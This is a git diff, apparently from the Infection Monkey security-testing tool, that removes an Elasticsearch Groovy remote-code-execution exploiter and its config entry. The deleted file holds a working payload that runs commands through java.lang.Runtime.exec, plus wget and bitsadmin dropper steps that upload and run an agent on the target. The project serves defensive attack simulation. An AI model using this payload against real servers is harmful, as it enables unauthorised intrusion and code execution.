diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf
index efb9a4350..b1a25d51f 100644
--- a/monkey/infection_monkey/example.conf
+++ b/monkey/infection_monkey/example.conf
@@ -27,7 +27,6 @@
     "SSHExploiter",
     "SmbExploiter",
     "WmiExploiter",
-    "ElasticGroovyExploiter",
     "Struts2Exploiter",
     "WebLogicExploiter",
     "HadoopExploiter",
diff --git a/monkey/infection_monkey/exploit/elasticgroovy.py b/monkey/infection_monkey/exploit/elasticgroovy.py
deleted file mode 100644
index 6c2751418..000000000
--- a/monkey/infection_monkey/exploit/elasticgroovy.py
+++ /dev/null
@@ -1,114 +0,0 @@
-"""
-    Implementation is based on elastic search groovy exploit by metasploit
-    https://github.com/rapid7/metasploit-framework/blob/12198a088132f047e0a86724bc5ebba92a73ac66
-    /modules/exploits/multi/elasticsearch/search_groovy_script.rb
-    Max vulnerable elasticsearch version is "1.4.2"
-"""
-
-import json
-import logging
-import re
-
-import requests
-
-from common.common_consts.network_consts import ES_SERVICE
-from common.utils.attack_utils import BITS_UPLOAD_STRING, ScanStatus
-from infection_monkey.exploit.web_rce import WebRCE
-from infection_monkey.model import (
-    BITSADMIN_CMDLINE_HTTP,
-    CHECK_COMMAND,
-    CMD_PREFIX,
-    DOWNLOAD_TIMEOUT,
-    ID_STRING,
-    WGET_HTTP_UPLOAD,
-)
-from infection_monkey.network_scanning.elasticfinger import ES_PORT
-from infection_monkey.telemetry.attack.t1197_telem import T1197Telem
-
-logger = logging.getLogger(__name__)
-
-
-class ElasticGroovyExploiter(WebRCE):
-    # attack URLs
-    MONKEY_RESULT_FIELD = "monkey_result"
-    GENERIC_QUERY = (
-        """{"size":1, "script_fields":{"%s": {"script": "%%s"}}}""" % MONKEY_RESULT_FIELD
-    )
-    JAVA_CMD = GENERIC_QUERY % (
-        """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec("""
-        """\\"%s\\").getText()"""
-    )
-
-    _TARGET_OS_TYPE = ["linux", "windows"]
-    _EXPLOITED_SERVICE = "Elastic search"
-
-    def __init__(self, host):
-        super(ElasticGroovyExploiter, self).__init__(host)
-
-    def get_exploit_config(self):
-        exploit_config = super(ElasticGroovyExploiter, self).get_exploit_config()
-        exploit_config["dropper"] = True
-        exploit_config["url_extensions"] = ["_search?pretty"]
-        exploit_config["upload_commands"] = {
-            "linux": WGET_HTTP_UPLOAD,
-            "windows": CMD_PREFIX + " " + BITSADMIN_CMDLINE_HTTP,
-        }
-        return exploit_config
-
-    def get_open_service_ports(self, port_list, names):
-        # We must append elastic port we get from elastic fingerprint module because It's not
-        # marked as 'http' service
-        valid_ports = WebRCE.get_open_service_ports(self.host, port_list, names)
-        if ES_SERVICE in self.host.services:
-            valid_ports.append([ES_PORT, False])
-        return valid_ports
-
-    def exploit(self, url, command):
-        command = re.sub(r"\\", r"\\\\\\\\", command)
-        payload = self.JAVA_CMD % command
-        try:
-            response = requests.get(url, data=payload, timeout=DOWNLOAD_TIMEOUT)
-        except requests.ReadTimeout:
-            logger.error(
-                "Elastic couldn't upload monkey, because server didn't respond to upload "
-                "request."
-            )
-            return False
-        result = self.get_results(response)
-        if not result:
-            return False
-        return result[0]
-
-    def upload_monkey(self, url, commands=None):
-        result = super(ElasticGroovyExploiter, self).upload_monkey(url, commands)
-        if "windows" in self.host.os["type"] and result:
-            T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send()
-        return result
-
-    def get_results(self, response):
-        """
-        Extracts the result data from our attack
-        :return: List of data fields or None
-        """
-        try:
-            json_resp = json.loads(response.text)
-            return json_resp["hits"]["hits"][0]["fields"][self.MONKEY_RESULT_FIELD]
-        except (KeyError, IndexError):
-            return None
-
-    def check_if_exploitable(self, url):
-        # Overridden web_rce method that adds CMD prefix for windows command
-        try:
-            if "windows" in self.host.os["type"]:
-                resp = self.exploit(url, CMD_PREFIX + " " + CHECK_COMMAND)
-            else:
-                resp = self.exploit(url, CHECK_COMMAND)
-            if resp is True:
-                return True
-            elif resp is not False and ID_STRING in resp:
-                return True
-            else:
-                return False
-        except Exception as e:
-            logger.error("Host's exploitability check failed due to: %s" % e)
-            return False